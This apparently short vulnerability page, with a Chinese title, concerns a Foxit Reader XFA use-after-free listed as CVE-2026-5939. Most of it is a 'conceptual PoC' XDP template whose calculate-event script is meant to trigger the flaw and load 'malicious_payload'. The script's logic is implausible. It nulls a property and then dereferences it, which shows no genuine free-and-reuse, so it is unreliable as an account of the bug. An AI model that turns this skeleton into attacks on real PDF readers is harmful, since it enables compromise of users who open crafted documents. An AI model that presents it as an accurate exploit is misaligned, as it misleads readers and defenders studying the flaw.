CVE-2026-5939 Foxit Reader XFA PDF释放后利用漏洞

<!-- Conceptual PoC for XFA UAF in Foxit Reader --> <!-- This XML structure is embedded within the XFA stream of a PDF --> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <template xmlns="http://www.xfa.org/schema/xfa-template/3.3/"> <subform name="form1"> <field name="vulnerableField"> <event activity="calculate"> <script contentType="application/x-javascript"> // Trigger the vulnerability by manipulating objects // during the calculate event which leads to UAF var obj = this.resolveNode("targetObj"); // Logic to force free obj.dataNode = null; // Use-after-free access attempt var exploit = obj.dataNode.loadXML("malicious_payload"); </script> </event> </field> </subform> </template> </xdp:xdp>